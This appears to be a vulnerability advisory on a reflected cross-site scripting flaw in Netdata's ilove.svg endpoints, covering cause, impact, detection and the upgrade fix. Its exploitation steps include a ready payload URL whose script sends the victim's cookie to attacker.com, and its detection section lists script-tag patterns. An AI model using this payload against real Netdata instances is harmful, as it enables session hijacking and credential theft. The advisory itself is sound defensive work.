CVE-2025-71385: 
Netdata vulnerability analysis and mitigation

CVE-2025-71385 is a reflected cross-site scripting (XSS) vulnerability in Netdata's api/v2/ilove.svg and api/v3/ilove.svg endpoints. The love query parameter is reflected verbatim into the generated SVG document without HTML or XML escaping, and the response is served with Content-Type: image/svg+xml, enabling script execution in the victim's browser. All Netdata versions before 2.3.1 are affected. The vulnerability was published on July 2, 2026, and carries a CVSS v3.1 score of 6.1 (Medium) and a CVSS v4.0 score of 5.1 (Medium) (Github Advisory, VulnCheck).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting): the ilove.c handler directly embedded the user-supplied love parameter into an SVG <text> element without sanitization (Github Commit). Both the v2 and v3 endpoints were registered with HTTP_ACL_NOCHECK and HTTP_ACCESS_ANONYMOUS_DATA/HTTP_ACCESS_NONE, meaning no authentication was required on a default Netdata agent installation (Github Advisory). An attacker crafts a URL such as /api/v2/ilove.svg?love=<script>malicious_code</script> and tricks a victim into visiting it; because the browser receives the response as image/svg+xml, the injected script executes in the origin of the Netdata instance (VulnCheck). No authentication or special privileges are required by the attacker, but user interaction (victim clicking a crafted link) is necessary.

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the victim's browser within the origin of the Netdata instance, enabling session hijacking, credential theft, or unauthorized actions performed on behalf of the victim (Github Advisory). Because the script runs in the Netdata origin, it can access cookies, local storage, and make authenticated API calls to the Netdata dashboard on behalf of the victim. Availability is not directly impacted, but confidentiality and integrity of the subsequent (browser) context are both rated Low under CVSS v4.0 (VulnCheck).

1. Reconnaissance: Identify internet-facing or network-accessible Netdata agent instances running versions prior to 2.3.1 using tools like Shodan (search for Netdata dashboard banners) or by directly probing the default Netdata port (typically 19999).
2. Confirm vulnerability: Send a test request to /api/v2/ilove.svg?love=test and verify the response is Content-Type: image/svg+xml and that the string test appears unescaped in the SVG body.
3. Craft malicious URL: Construct a URL embedding a JavaScript payload in the love parameter, e.g., http://<netdata-host>:19999/api/v2/ilove.svg?love=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver to victim: Send the crafted URL to a target user (e.g., a Netdata administrator) via phishing email, chat message, or embedded link, tricking them into clicking it.
5. Script execution: When the victim's browser loads the URL, the SVG is rendered and the injected <script> executes in the origin of the Netdata instance, allowing the attacker to steal session cookies, perform actions on the Netdata dashboard, or exfiltrate data (Github Advisory, VulnCheck).

• Network: HTTP GET requests to /api/v2/ilove.svg or /api/v3/ilove.svg with a love parameter containing HTML/script tags (e.g., <script>, javascript:, onerror=); outbound connections from victim browsers to unexpected external hosts shortly after accessing the Netdata UI.
• Logs: Netdata web server access logs showing requests to ilove.svg endpoints with URL-encoded script content in the love query parameter (e.g., %3Cscript%3E, %3C%2Fscript%3E).
• Process/Session: Unexpected API calls to Netdata endpoints originating from a user session immediately after a suspicious ilove.svg request, potentially indicating session hijacking.

The primary remediation is to upgrade Netdata to version 2.3.1 or later, which removes the vulnerable ilove.svg endpoint entirely (Netdata v2.3.1 Release, Github PR #19919). If immediate patching is not possible, restrict or block access to the /api/v2/ilove.svg and /api/v3/ilove.svg paths at the network perimeter or reverse proxy level. Additionally, enabling bearer-token protection on the Netdata agent will require authentication for API access, reducing the attack surface on default configurations (VulnCheck).